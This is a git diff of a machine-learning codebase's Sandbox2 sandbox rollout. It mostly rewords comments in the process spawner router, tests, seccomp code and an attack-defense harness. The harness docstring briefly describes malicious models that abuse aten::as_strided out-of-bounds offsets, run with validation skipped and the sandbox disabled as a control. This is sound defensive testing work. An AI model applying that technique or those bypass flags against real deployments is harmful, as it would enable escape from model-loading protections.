on every platform, including builds // with no Sandbox2 support at all. With the option on it becomes - // mandatory Sandbox2 (E_Sandbox2, no automatic fallback, V2). The + // mandatory Sandbox2 (E_Sandbox2, no automatic fallback). The // follow-up that flips the option is the Elasticsearch-side // operator-setting change, not this one. if (isConfiguredSandboxedPath && m_Sandbox2DefaultEnabled == false) { @@ -185,9 +186,9 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { // Operator kill-switch validated against this exact processPath: // strip it before it reaches the spawner and route to legacy. This - // is the one place the route's operator provenance is known - // (design.md point 6), so it is logged here rather than in the - // router, which only ever sees an already-decided route. + // is the one place the route's operator provenance is known, so it + // is logged here rather than in the router, which only ever sees an + // already-decided route. LOG_INFO(<< "Routing '" << processPath << "' to the legacy path: operator kill switch " << DISABLE_SANDBOX_TOKEN << " in command with ID " << id); route = CProcessSpawnerRouter::ERoute::E_Legacy; diff --git a/bin/controller/CProcessSpawnerRouter.cc b/bin/controller/CProcessSpawnerRouter.cc index 7ffa367158..e13c4e241a 100644 --- a/bin/controller/CProcessSpawnerRouter.cc +++ b/bin/controller/CProcessSpawnerRouter.cc @@ -30,9 +30,9 @@ namespace { //! //! Only matches the "=" form ("--modelid="), not the space-separated //! "--modelid " form boost::program_options also accepts elsewhere -//! in this codebase: the "=" form is the wire contract PR F's ES-side -//! observability code relies on for model_id in the sandbox2_launch signal -//! (docs/sandbox2_production_failure_modes.md). +//! in this codebase: the "=" form is the wire contract a future change's +//! ES-side observability code relies on for model_id in the sandbox2_launch +//! signal (docs/sandbox2_production_failure_modes.md). std::string scanModelId(const ml::controller::CProcessSpawnerRouter::TStrVec& args) { const std::string prefix{"--modelid="}; for (const auto& arg : args) { @@ -46,8 +46,9 @@ std::string scanModelId(const ml::controller::CProcessSpawnerRouter::TStrVec& ar //! Minimal JSON string escaping for the two string fields //! (deployment_id/model_id) that are derived from operator/caller-supplied //! input (a launch argument and a validated path component) rather than -//! from a fixed internal vocabulary - PR F's ES-side observability code -//! parses this line by name and type, so it must stay valid JSON even if +//! from a fixed internal vocabulary - a future change's ES-side +//! observability code parses this line by name and type, so it must stay +//! valid JSON even if //! either value contains a quote, a backslash, or a control character. //! deployment_id is a filesystem path component and model_id comes straight //! off the command line, so a raw newline/tab/NUL in either would otherwise @@ -94,7 +95,8 @@ std::string jsonEscape(const std::string& s) { //! CSandboxedProcessSpawner_Linux.cc does before constructing a Sandbox2 //! policy (same trustedTmpDir derivation - getenv("TMPDIR"), defaulting to //! "/tmp"). Called once per spawn(), *before* either backend runs, so the -//! H4 signal and the dispatch decision see one and the same filesystem +//! sandbox2_launch signal and the dispatch decision see one and the same +//! filesystem //! state: validateChildIpcLaunchSpec() does live ::realpath() calls, and a //! post-spawn second call could observe a different (or, on the //! legacy/degraded and failed-Sandbox2 paths, an absent) per-child IPC @@ -129,8 +131,8 @@ void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, bool spawnSucceeded) const { const bool isLegacyRoute{route == ERoute::E_Legacy}; - // Controller ruling (binding, PR E Task 4): degraded is decided purely - // by route, regardless of the legacy spawn's own success/failure; + // degraded is decided purely by route, regardless of the legacy + // spawn's own success/failure; // enforced/fail_closed are only decided for the no-token Sandbox2 // route, keyed off the spawn outcome itself. std::string mode; @@ -165,12 +167,12 @@ void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, // a build-time-constant fact (backed by CMlSandboxAvailability, itself // backed by the SANDBOX2_AVAILABLE compile definition), not per-launch // state, so it is computed once here rather than threaded through as a - // parameter. Lets a consumer (PR F's rollout logic) distinguish a - // Linux build that has Sandbox2 support but is dormant (route == - // "legacy", legacy_reason == "dormant_default", sandbox2_compiled_in == - // true) from a build with no Sandbox2 support at all - // (sandbox2_compiled_in == false) - the two are otherwise - // indistinguishable from the H4 signal alone. + // parameter. Lets a consumer (e.g. a future ES-side rollout logic) + // distinguish a Linux build that has Sandbox2 support but is dormant + // (route == "legacy", legacy_reason == "dormant_default", + // sandbox2_compiled_in == true) from a build with no Sandbox2 support at + // all (sandbox2_compiled_in == false) - the two are otherwise + // indistinguishable from the sandbox2_launch signal alone. static const bool sandbox2CompiledIn{sandbox::CMlSandboxAvailability::isCompiledIn()}; std::ostringstream signal; @@ -191,16 +193,16 @@ bool CProcessSpawnerRouter::spawn(ERoute route, const TStrVec& args, core::CProcess::TPid& childPid, ELegacyReason legacyReason) { - // The H4 signal (design.md §Failure behavior and observability) fires - // only for processes actually eligible for sandboxing - never for + // The sandbox2_launch signal fires only for processes actually + // eligible for sandboxing - never for // unrelated permitted processes like autodetect - and exactly once per // spawn() call, on every outcome, computed once up front so neither // dispatch branch below can accidentally skip or duplicate it. const bool sandboxEligible{this->isSandboxedProcessPath(processPath)}; // Derived exactly once per spawn() call, before either backend runs, so - // the H4 signal below reports the same childId the dispatch decision was - // taken against - see deriveDeploymentId()'s comment for why a + // the sandbox2_launch signal below reports the same childId the + // dispatch decision was taken against - see deriveDeploymentId()'s comment for why a // post-spawn second derivation is not equivalent. Skipped entirely for // processes that can never emit the signal, so unrelated permitted // processes (autodetect etc.) pay no ::realpath() cost. @@ -216,8 +218,8 @@ bool CProcessSpawnerRouter::spawn(ERoute route, // prior art's spawn(), which re-derived disableSandbox from args // itself), so it cannot - and must not - derive which of the two it // was; CCommandProcessor logs that provenance at the point it is - // actually known, and passes it in as legacyReason purely so the H4 - // signal below can report it. + // actually known, and passes it in as legacyReason purely so the + // sandbox2_launch signal below can report it. LOG_INFO(<< "Launching '" << processPath << "' without Sandbox2 (legacy route selected by the controller); " << "the in-process seccomp filter applies"); spawned = m_LegacySpawner.spawn(processPath, args, childPid); @@ -226,7 +228,7 @@ bool CProcessSpawnerRouter::spawn(ERoute route, // sandboxed. #ifdef SANDBOX2_AVAILABLE // No automatic fallback to the legacy spawner on a Sandbox2 - // failure (V2, MG1): a process that must be sandboxed either + // failure: a process that must be sandboxed either // launches inside Sandbox2 or does not launch at all. spawned = m_SandboxSpawner.spawn(processPath, args, childPid); #else diff --git a/bin/controller/CProcessSpawnerRouter.h b/bin/controller/CProcessSpawnerRouter.h index 0879f9e48d..3d3d5d7b51 100644 --- a/bin/controller/CProcessSpawnerRouter.h +++ b/bin/controller/CProcessSpawnerRouter.h @@ -62,8 +62,9 @@ class CProcessSpawnerRouter { //! Why the caller chose ERoute::E_Legacy. The router never derives this //! (it never re-parses args): CCommandProcessor passes the provenance it - //! already knows from making the decision, purely so the H4 signal's - //! additive "legacy_reason" field can distinguish a deliberate operator + //! already knows from making the decision, purely so the + //! `sandbox2_launch` signal's additive "legacy_reason" field can + //! distinguish a deliberate operator //! kill switch from the dormant default that is in effect for the whole //! rollout window - mode == "degraded" alone cannot. enum class ELegacyReason { @@ -81,9 +82,9 @@ class CProcessSpawnerRouter { //! Dispatch a spawn request per the already-decided \p route. Returns //! false immediately on a Sandbox2 failure - never retries via the - //! legacy spawner (V2, "no automatic fallback"). - //! \param legacyReason provenance of an E_Legacy \p route, for the H4 - //! signal only - never used to dispatch. Must be E_NotLegacy + //! legacy spawner ("no automatic fallback"). + //! \param legacyReason provenance of an E_Legacy \p route, for the + //! `sandbox2_launch` signal only - never used to dispatch. Must be E_NotLegacy //! (the default) when \p route is E_Sandbox2. bool spawn(ERoute route, const std::string& processPath, @@ -99,7 +100,7 @@ class CProcessSpawnerRouter { //! \return true if \p processPath is configured as a sandboxed process //! path. This is the single implementation of that predicate: the router - //! uses it for dispatch and H4-signal gating, and CCommandProcessor + //! uses it for dispatch and `sandbox2_launch`-signal gating, and CCommandProcessor //! calls it (through its own router member) to decide whether the //! operator kill-switch token is meaningful for a process path and //! whether the dormant-by-default Sandbox2 route applies. Keeping two @@ -109,8 +110,8 @@ class CProcessSpawnerRouter { bool isSandboxedProcessPath(const std::string& processPath) const; private: - //! Emit the H4 structured once-per-launch signal (design.md §Failure - //! behavior and observability) for a Sandbox2-eligible spawn() call, + //! Emit the `sandbox2_launch` structured once-per-launch signal for a + //! Sandbox2-eligible spawn() call, //! after the dispatch outcome is known. Fires on every outcome, //! including \p spawnSucceeded == false (the fail_closed case) - never //! gated behind the caller's own success handling. Must only be called diff --git a/bin/controller/unittest/CCommandProcessorTest.cc b/bin/controller/unittest/CCommandProcessorTest.cc index b65f9fb451..3900e57e1d 100644 --- a/bin/controller/unittest/CCommandProcessorTest.cc +++ b/bin/controller/unittest/CCommandProcessorTest.cc @@ -71,7 +71,7 @@ class CScopedSandbox2DefaultEnforced { }; //! Redirect the logger to a string stream for the duration of \p fn, so a -//! test can assert on the router's H4 sandbox2_launch signal (the same +//! test can assert on the router's sandbox2_launch signal (the same //! capture style bin/controller/unittest/CProcessSpawnerRouterTest.cc uses). //! RAII guard ensuring ml::core::CLogger::instance().reset() always runs, @@ -486,8 +486,8 @@ BOOST_AUTO_TEST_CASE(testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPat } BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { - // The two legacy-route provenances must arrive at the H4 signal - // distinguishable: mode == "degraded" alone cannot separate a deliberate + // The two legacy-route provenances must arrive at the sandbox2_launch + // signal distinguishable: mode == "degraded" alone cannot separate a deliberate // operator kill switch from the dormant default that is in effect for // the whole rollout window. This asserts the wiring from the route // decision in handleStart() through to the emitted signal. @@ -546,7 +546,7 @@ BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentAndDefaultEnforced) { // The opt-in half of the dormant default: with the internal option // explicitly on, no token present on the configured sandboxed path - // selects the Sandbox2 route (V2, no automatic legacy fallback). On a + // selects the Sandbox2 route (no automatic legacy fallback). On a // build with no Sandbox2 support, CProcessSpawnerRouter fails closed for // that route - observed here as the command failing rather than the copy // succeeding, which is exactly how we know Sandbox2 (not legacy) was diff --git a/bin/controller/unittest/CProcessSpawnerRouterTest.cc b/bin/controller/unittest/CProcessSpawnerRouterTest.cc index 7385f2edea..2b7930a499 100644 --- a/bin/controller/unittest/CProcessSpawnerRouterTest.cc +++ b/bin/controller/unittest/CProcessSpawnerRouterTest.cc @@ -35,7 +35,7 @@ // SANDBOX2_AVAILABLE - the same macro CProcessSpawnerRouter::spawn() itself // branches on - rather than the coarser `Linux`. // -// H4 (PR E Task 4) signal assertions redirect ml::core::CLogger to an +// sandbox2_launch signal assertions redirect ml::core::CLogger to an // in-memory stream (the same technique CBoostedTreeTest.cc uses for its own // LOG_ERROR assertions) and inspect the emitted JSON line as a substring // match per field, rather than parsing JSON - this avoids pulling in a JSON @@ -99,7 +99,7 @@ void assertDispatchCopiesFile(ml::controller::CProcessSpawnerRouter& router, //! \p fn, then reset() it back to its default configuration before //! returning - callers must not leak the redirect into later test cases. //! \return everything logged while \p fn ran, so the caller can search for -//! the H4 signal's JSON line as a substring. +//! the sandbox2_launch signal's JSON line as a substring. //! RAII guard ensuring ml::core::CLogger::instance().reset() always runs, //! even if the captured function throws (e.g. a failed BOOST_REQUIRE* @@ -245,7 +245,7 @@ BOOST_AUTO_TEST_CASE(testSandbox2RouteFailsClosedWithoutSandbox2Support) { BOOST_AUTO_TEST_CASE(testH4SignalFailClosedWithoutSandbox2Support) { // Reuses the exact non-Linux fail-closed vector above (route == // E_Sandbox2 for a sandboxedProcessPaths entry, no SANDBOX2_AVAILABLE) - // to assert the H4 signal itself: mode == "fail_closed", + // to assert the sandbox2_launch signal itself: mode == "fail_closed", // sandbox2_established == false (a JSON boolean, not the string // "false"), route == "sandbox2", and the signal fires even though // spawn() returns false - it must not be gated behind a success check. @@ -551,10 +551,11 @@ BOOST_AUTO_TEST_CASE(testH4SignalNoLegacyReasonOnSandbox2Route) { // fails closed for it (see testH4SignalFailClosedWithoutSandbox2Support // immediately above). This is the same platform limitation the pre-existing // Buildkite-deferred note below documents for the router's own Sandbox2 -// dispatch; the H4 "enforced" case needs the identical Linux + Sandbox2 -// scaffolding once a Sandbox2-aware controller unittest target exists. +// dispatch; the sandbox2_launch "enforced" case needs the identical Linux + +// Sandbox2 scaffolding once a Sandbox2-aware controller unittest target +// exists. -// Buildkite-deferred (Linux + Sandbox2 only, design.md V2): asserting that +// Buildkite-deferred (Linux + Sandbox2 only): asserting that // an E_Sandbox2 route for a sandboxedProcessPaths entry reaches // CSandboxedProcessSpawner::spawn(), and that a failure there returns false // without any retry through the legacy spawner, needs a real Sandbox2 diff --git a/bin/pytorch_inference/Main.cc b/bin/pytorch_inference/Main.cc index 3ddbcfdc9c..9494103f21 100644 --- a/bin/pytorch_inference/Main.cc +++ b/bin/pytorch_inference/Main.cc @@ -301,7 +301,7 @@ int main(int argc, char** argv) { // // Turning it on is only safe once a degraded/legacy-route launch is // guaranteed to be a deliberate decision rather than the production - // default. CProcessSpawnerRouter (Task 2) supplies half of that + // default. CProcessSpawnerRouter supplies half of that // guarantee - it never falls back to the legacy spawner after a failed // Sandbox2 attempt - but the controller currently *defaults* the // no-token case to the legacy route while ML_SANDBOX2_DEFAULT_ENFORCED @@ -325,14 +325,13 @@ int main(int argc, char** argv) { // The in-process filter belongs to the legacy/non-sandboxed route only. // On the Sandbox2 route the executor's own policy is already the - // security boundary and ML_SANDBOXED is exactly "1" (design.md §Routing - // and degraded-mode contract point 5), so the whole step - install, - // degraded-mode decision, attestation marker - is skipped. Attempting - // it from inside an already-sandboxed environment would either fail - // (which would terminate every enforced-route launch once hard - // termination above is activated) or succeed and emit the legacy-route - // attestation marker on a launch the controller's H4 signal reports as - // "route":"sandbox2". + // security boundary and ML_SANDBOXED is exactly "1", so the whole step - + // install, degraded-mode decision, attestation marker - is skipped. + // Attempting it from inside an already-sandboxed environment would + // either fail (which would terminate every enforced-route launch once + // hard termination above is activated) or succeed and emit the + // legacy-route attestation marker on a launch the controller's + // sandbox2_launch signal reports as "route":"sandbox2". const bool sandbox2Launched{ml::seccomp::sandbox2LaunchedChild()}; const ml::seccomp::SInProcessFilterResult seccompResult{ml::seccomp::applyInProcessSeccompFilter( sandbox2Launched, TERMINATE_ON_DEGRADED_SECCOMP_FAILURE, diff --git a/docs/sandbox2_production_failure_modes.md b/docs/sandbox2_production_failure_modes.md index bcb83003e0..7efebe3a5f 100644 --- a/docs/sandbox2_production_failure_modes.md +++ b/docs/sandbox2_production_failure_modes.md @@ -1,15 +1,14 @@ # Sandbox2 production failure modes This document tracks the operational log vocabulary the controller and -`pytorch_inference` emit around the Sandbox2 rollout. Per -`docs/projects/mlcpp-sandbox2-pr2873/design.md` §Failure behavior and -observability, this schema is itself an API: field names and types must not -change without updating both this document and any downstream consumer -(notably PR F's ES-side observability work). +`pytorch_inference` emit around the Sandbox2 rollout. This schema is itself +an API: field names and types must not change without updating both this +document and any downstream consumer (notably a future change's ES-side +observability work). -This file currently documents the log line introduced by PR E Task 4 (the -H4 structured once-per-launch enforced-mode signal) and, below, the V14 -attack-defense evidence source added by PR E Task 6. +This file currently documents the `sandbox2_launch` structured +once-per-launch enforced-mode signal and, below, the attack-defense evidence +source used to validate the Sandbox2 security boundary. ## Log vocabulary @@ -23,7 +22,7 @@ including a failed spawn, so it is never gated behind the controller's own success handling. Logged via `LOG_INFO` over the controller's existing log pipe (the same -channel/style MG8's `degradedModeAttestationMarker()` marker uses), as a +channel/style `degradedModeAttestationMarker()` marker uses), as a single-line JSON object. | Field | Type | Meaning | @@ -44,7 +43,7 @@ launch is `degraded`, so the mode carries no diagnostic information on its own. It is additive: `event`/`deployment_id`/`model_id`/`route`/ `sandbox2_established`/`mode` and their semantics are unchanged. -**`mode` mapping** (binding, PR E Task 4 controller ruling): +**`mode` mapping** (binding rule): - `enforced` - `route == "sandbox2"` (no operator kill-switch token) and the Sandbox2 spawn returned `true`. @@ -65,7 +64,7 @@ Anything else (unset, `""`, `0`, `true`) leaves it off. Off is the shipped default, so this rollout starts dormant: a plain `pytorch_inference` launch behaves exactly as it did before typed routing existed, on every platform, including builds without Sandbox2 support. With the option on, the same -command requires Sandbox2 and never falls back (V2). +command requires Sandbox2 and never falls back to the legacy spawner. `ML_SANDBOX2_DEFAULT_ENFORCED` is an internal seam, not an operator setting; the change that turns it on is the Elasticsearch-side default-false feature @@ -118,25 +117,29 @@ Emission site: `bin/controller/CProcessSpawnerRouter.cc`, helper) - chosen because this class owns both the already-decided route parameter and the actual spawn-outcome boolean the `mode` field depends on. -## V14 evidence source: attack-defense harness +## Attack-defense harness evidence -Per `docs/projects/mlcpp-sandbox2-pr2873/design.md`'s Required proof matrix, -V14 ("Attack-defense harness blocks maintained malicious models on PR tip -after proving each model reached execution") closes only with a dated +The required proof for the Sandbox2 security boundary is that the +attack-defense harness blocks maintained malicious models on the ml-cpp PR +tip, after proving each model actually reached execution (not merely that it +crashed before getting there). This closes only with a dated `attack-defense-.md` record in this directory. This section names the harness that produces that evidence and the exact command; it does -not itself constitute a V14 closure record (no run has been recorded against -a head SHA yet - the harness requires production-like Linux with Sandbox2, -so it is Buildkite/manual-devbox-deferred, per design.md: "Permanent CI is -optional; final-tip evidence is not"). +not itself constitute a closure record (no run has been recorded against a +head SHA yet - the harness requires production-like Linux with Sandbox2, so +it runs on Buildkite or a manual devbox rather than as a permanent CI gate; +permanent CI coverage is optional, but final-tip evidence before a release is +not). **Harness:** `test/test_sandbox2_attack_defense.py`, invoked via `dev-tools/run_sandbox2_attack_defense.sh`. It drives the real controller / `pytorch_inference` binaries through the actual `$TMPDIR/ml-child-ipc/` per-child IPC layout (see `include/sandbox/CPytorchInferenceSandboxPolicy.h`'s `SChildIpcLaunchSpec`), -and satisfies the Verification contract's Oracle rule for every case: an -unsandboxed positive control (`--disableSandbox`), a reached marker (a +and satisfies, for every case, the five-part evidence requirement (a +positive control, a reached marker, a negative assertion, a mechanism +assertion, and a cleanup assertion): an unsandboxed positive control +(`--disableSandbox`), a reached marker (a `model loaded` line on the model's own `--logPipe`, plus either a `request_id`-correlated output-pipe response or a confirmed post-load process death), a negative assertion (protected file absent under @@ -174,7 +177,7 @@ sandboxed child's allowed scope). `model_leak.pt` is generated by harness's `test_exploit_model` docstring for why a standalone leak assertion tested nothing beyond the exploit case. -**A closing V14 record must additionally capture:** host/kernel (e.g. +**A closing record must additionally capture:** host/kernel (e.g. `uname -a`), date, pass/fail per model exercised, the cleanup result (each case's kill/reap confirmation), and a CI/build link when available, named `attack-defense-.md` in this directory. diff --git a/include/seccomp/CSystemCallFilter.h b/include/seccomp/CSystemCallFilter.h index fac3cde7e9..11426b4a03 100644 --- a/include/seccomp/CSystemCallFilter.h +++ b/include/seccomp/CSystemCallFilter.h @@ -131,8 +131,8 @@ inline std::string degradedModeAttestationMarker(ESystemCallFilterInstallOutcome //! test, taking the raw ML_SANDBOXED environment value (nullptr when unset) //! so it is testable on every platform without mutating the environment. //! -//! design.md §Routing and degraded-mode contract point 5: pytorch_inference -//! skips in-process seccomp only when ML_SANDBOXED is *exactly* "1", the +//! pytorch_inference skips in-process seccomp only when ML_SANDBOXED is +//! *exactly* "1", the //! value CSandboxedProcessSpawner_Linux.cc sets on a Sandbox2-launched //! child. It is stripped from every legacy-route child's environment by //! lib/core/CDetachedProcessSpawner.cc (detail::buildChildEnvironment(), @@ -168,8 +168,8 @@ struct SInProcessFilterResult { //! is attested. Always empty when s_Attempted == false: that marker //! describes the *legacy* route's own filter installation, so emitting //! it on a Sandbox2-route launch would both attest a filter that was - //! never installed and contradict the H4 signal's "route":"sandbox2" - //! for the same launch. + //! never installed and contradict the sandbox2_launch signal's + //! "route":"sandbox2" for the same launch. std::string s_AttestationMarker; }; diff --git a/lib/sandbox/CMakeLists.txt b/lib/sandbox/CMakeLists.txt index 85a0c39c5f..58c897ee44 100644 --- a/lib/sandbox/CMakeLists.txt +++ b/lib/sandbox/CMakeLists.txt @@ -10,12 +10,11 @@ # # MlSandbox links Sandbox2/Abseil and builds a runnable Sandbox2 forkserver -# on Linux (PR A), and now the typed filesystem/network launch policy (PR C -# of the Sandbox2 clean rebuild plan, see docs/projects/mlcpp-sandbox2-pr2873 -# in the elastic-workspace harness). PR E (bin/controller/CProcessSpawnerRouter, -# see bin/controller/CMakeLists.txt's MlSandbox link) is that controller -# wiring; pytorch_inference's in-process seccomp path -# (include/seccomp/CSystemCallFilter.h) consults this library's +# on Linux (the dormant Sandbox2/Abseil dependency foundation, ml-cpp#3181), +# and now the typed filesystem/network launch policy (ml-cpp#3185). +# bin/controller/CProcessSpawnerRouter (see bin/controller/CMakeLists.txt's +# MlSandbox link) is that controller wiring; pytorch_inference's in-process +# seccomp path (include/seccomp/CSystemCallFilter.h) consults this library's # CMlSandboxAvailability query too. project("ML Sandbox") diff --git a/lib/sandbox/unittest/CMakeLists.txt b/lib/sandbox/unittest/CMakeLists.txt index 768be49620..544045e7b8 100644 --- a/lib/sandbox/unittest/CMakeLists.txt +++ b/lib/sandbox/unittest/CMakeLists.txt @@ -76,8 +76,8 @@ if(TARGET sandbox2::sandbox2 AND CMAKE_SYSTEM_NAME STREQUAL "Linux") RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/payloads ) - # Long-lived sandboxee for CSandboxedProcessSpawnerLifecycleTest_Linux - # (Task 4). Unlike the two payloads above, this one is launched through + # Long-lived sandboxee for CSandboxedProcessSpawnerLifecycleTest_Linux. + # Unlike the two payloads above, this one is launched through # CSandboxedProcessSpawner::spawn() itself (not a hand-built Sandbox2 # policy), which derives its filesystem policy's binDir/libDir from the # payload's own resolved path: binDir is this payload's directory @@ -98,9 +98,9 @@ if(TARGET sandbox2::sandbox2 AND CMAKE_SYSTEM_NAME STREQUAL "Linux") RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/payloads ) - # PR E's staged user-namespace capability probe (design.md - # ML_SANDBOX2_REQUIRE CI wiring). Same dependency-free, dynamically-linked - # pattern as the payloads above, for the same CI-image reason. Unlike + # Staged user-namespace capability probe for the ML_SANDBOX2_REQUIRE CI + # wiring. Same dependency-free, dynamically-linked pattern as the payloads + # above, for the same CI-image reason. Unlike # ml_sandbox_probe, this one is never run through a Sandbox2 # Executor/policy - CSandboxUserNamespaceProbeTest_Linux execs it directly # as a plain host subprocess, since it probes the ambient CI environment's diff --git a/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc index b69bdcf4b9..c9aa29669a 100644 --- a/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc +++ b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc @@ -9,9 +9,9 @@ * limitation. */ -// Linux-only controller-side (host-process) test for PR E's -// ML_SANDBOX2_REQUIRE CI wiring (design.md Sandbox2 clean rebuild plan). -// Runs ml_sandbox_userns_probe as a plain subprocess - deliberately NOT +// Linux-only controller-side (host-process) test for the +// ML_SANDBOX2_REQUIRE CI wiring. Runs ml_sandbox_userns_probe as a plain +// subprocess - deliberately NOT // through a Sandbox2 Executor/policy, since this test is checking the // *ambient* CI environment's userns capability (e.g. whether a Buildkite // k8s pod's runtime permits mount("proc", ...)), not any Sandbox2 policy; @@ -19,19 +19,19 @@ // // Three modes, selected by the ML_SANDBOX2_REQUIRE environment variable: // unset -> "ambient" mode: run the probe once, log its outcome, do -// not fail the test either way (design.md: "Ambient Docker -// seccomp behavior is diagnostic, never load-bearing -// coverage"). +// not fail the test either way. Ambient Docker seccomp +// behavior is diagnostic, never load-bearing coverage. // enforced -> the probe must succeed (all 7 stages complete); fail the // test if any stage fails. Wired into run_tests.sh's -// aarch64/Docker branch only (H3 accepted risk: no -// userns-capable x86_64 CI runner exists). +// aarch64/Docker branch only: there is no userns-capable +// x86_64 CI runner today, so enforced coverage is accepted +// as aarch64-only for now. // fail_closed -> pins the *absence* of userns capability as the tested // condition: assert the probe fails at some stage (the // specific stage isn't load-bearing). This mode's job is // confirming the CI environment matches what the existing -// fail-closed spawn path (V2) expects, not re-testing V2 -// itself. +// fail-closed spawn path expects, not re-testing the +// fail-closed spawn path itself. #include @@ -133,11 +133,11 @@ BOOST_AUTO_TEST_CASE(testMatchesRequiredMode) { if (std::strcmp(mode, "fail_closed") == 0) { // fail_closed pins the *absence* of userns capability as the tested - // condition (see the file-level comment). MG6's accepted risk names - // its own revisit trigger as "when a userns-capable x86_64 CI - // runner becomes available" - the day that happens, a runner - // acquiring a capability is an environment improvement, not a - // regression, so it must not look like this test broke. Distinguish + // condition (see the file-level comment). The accepted revisit + // trigger is "when a userns-capable x86_64 CI runner becomes + // available" - the day that happens, a runner acquiring a + // capability is an environment improvement, not a regression, so it + // must not look like this test broke. Distinguish // three outcomes rather than a single BOOST_TEST_REQUIRE(!probeSucceeded): // - harness/exec broken: already a hard failure via the // E_ExecFailure branch above, unaffected by this branch. @@ -149,8 +149,8 @@ BOOST_AUTO_TEST_CASE(testMatchesRequiredMode) { if (probeSucceeded) { BOOST_TEST_MESSAGE("userns capability is now available on this host (ml_sandbox_userns_probe " "succeeded under ML_SANDBOX2_REQUIRE=fail_closed); consider re-pinning " - "enforced coverage here per the MG6 accepted-risk's revisit trigger " - "(no userns-capable x86_64 CI runner exists yet)"); + "enforced coverage here now that a userns-capable x86_64 CI runner " + "exists (none did as of this test's introduction)"); } else { BOOST_TEST_MESSAGE("ml_sandbox_userns_probe fail_closed check: userns capability " "genuinely absent, as expected"); diff --git a/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc b/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc index 3e85aff2dd..a295b10fd1 100644 --- a/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc +++ b/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc @@ -9,9 +9,9 @@ * limitation. */ -// Staged user-namespace capability probe for PR E's ML_SANDBOX2_REQUIRE CI -// wiring (design.md Sandbox2 clean rebuild plan). Unlike ml_sandbox_probe.cc -// (PR C's *policy* mechanism probe, which runs inside an already-built +// Staged user-namespace capability probe for the ML_SANDBOX2_REQUIRE CI +// wiring. Unlike ml_sandbox_probe.cc (the typed filesystem/network launch +// policy's own *policy* mechanism probe, which runs inside an already-built // Sandbox2 sandbox) this payload exercises the raw kernel primitives // Sandbox2's own forkserver depends on - unshare(CLONE_NEWUSER), uid/gid // mapping, unshare(CLONE_NEWNS | CLONE_NEWPID), and a proc mount inside the @@ -22,7 +22,7 @@ // dependency-free, like ml_sandbox_probe.cc and sandbox_smoke_payload.cc: no // ml-cpp library dependencies, no sandbox policy of its own. // -// Runs design.md's 7 numbered stages in order and reports the first failed +// Runs the following 7 stages in order and reports the first failed // stage and errno on any failure; success only if all 7 complete: // 1. probe pipe + fork // 2. unshare(CLONE_NEWUSER) @@ -32,9 +32,9 @@ // 6. mount("/", MS_REC | MS_PRIVATE) // 7. mount("proc", "/proc", "proc", ...) // -// Stage 7 MUST run after the stage-5 fork - matching PR C's SHA-keyed -// carry-forward fix for 50bacc2b (proc mount after fork into the new PID -// namespace). A proc mount issued by the stage-4 unshare()'d process itself, +// Stage 7 MUST run after the stage-5 fork, matching the existing fix +// (commit 50bacc2b) that mounts proc only after the fork into the new PID +// namespace. A proc mount issued by the stage-4 unshare()'d process itself, // before forking into the namespace, would mount /proc for the wrong PID // namespace view. Do not reorder stages 5 and 7. diff --git a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc index 5ec6cdc99b..1fee00ab2e 100644 --- a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc +++ b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc @@ -312,8 +312,9 @@ BOOST_AUTO_TEST_CASE(testInProcessFilterUnchangedOnLegacyRoute) { using ml::seccomp::applyInProcessSeccompFilter; // ML_SANDBOXED unset/not "1": behaviour is exactly the pre-existing - // install + decide + attest sequence, i.e. the Task 3 fault-injection - // coverage above still describes this path. + // install + decide + attest sequence, i.e. the fault-injection coverage + // above (testDecideDegradedModeActionFaultInjection) still describes + // this path. bool installerCalled{false}; const auto installed = applyInProcessSeccompFilter(false, true, [&installerCalled] { installerCalled = true; diff --git a/test/test_sandbox2_attack_defense.py b/test/test_sandbox2_attack_defense.py index d810fd8c59..565479a321 100644 --- a/test/test_sandbox2_attack_defense.py +++ b/test/test_sandbox2_attack_defense.py @@ -22,21 +22,21 @@ *pre-execution* graph-validator layer is provided by CModelGraphValidatorTest and test_pytorch_inference_evil_models.py; CI coverage for the syscall inventory is CSandboxedProcessSpawnerTest_Linux. This harness is the only -proof for V14 (docs/projects/mlcpp-sandbox2-pr2873/design.md): that the -*runtime* Sandbox2 filesystem/syscall boundary - not the static graph -validator - stops a malicious model that already got past model load. +proof that the *runtime* Sandbox2 filesystem/syscall boundary - not the +static graph validator - stops a malicious model that already got past model +load. Every malicious model is launched with `--skipModelValidation`. Without that flag, `CModelGraphValidator` rejects these particular models (they use `aten::as_strided` with an out-of-bounds offset) before `forward()` ever runs - so a run without the flag would report "target file not created" for a reason that has nothing to do with Sandbox2, which is exactly the kind of -crashed-before-reaching-the-boundary false positive the Oracle rule's -"reached marker" requirement exists to rule out (see MG5's -`testPolicyViolationDifferential` `getpgid`-crash precedent in design.md). +crashed-before-reaching-the-boundary false positive the "reached marker" +requirement below exists to rule out (a crash inside `getpgid` before +reaching the boundary previously produced exactly this false positive in +`testPolicyViolationDifferential`). -Each case in this harness satisfies the Oracle rule (design.md -"Verification contract"): +Each case in this harness satisfies a five-part evidence requirement: 1. Positive control: the same model is also run through the controller's `--disableSandbox` legacy route (Sandbox2 structurally absent) and must demonstrate the payload actually works there. @@ -306,15 +306,15 @@ def find_child_pid(controller, process_path, since_offset, timeout=PID_DISCOVERY time.sleep(0.1) -#! The 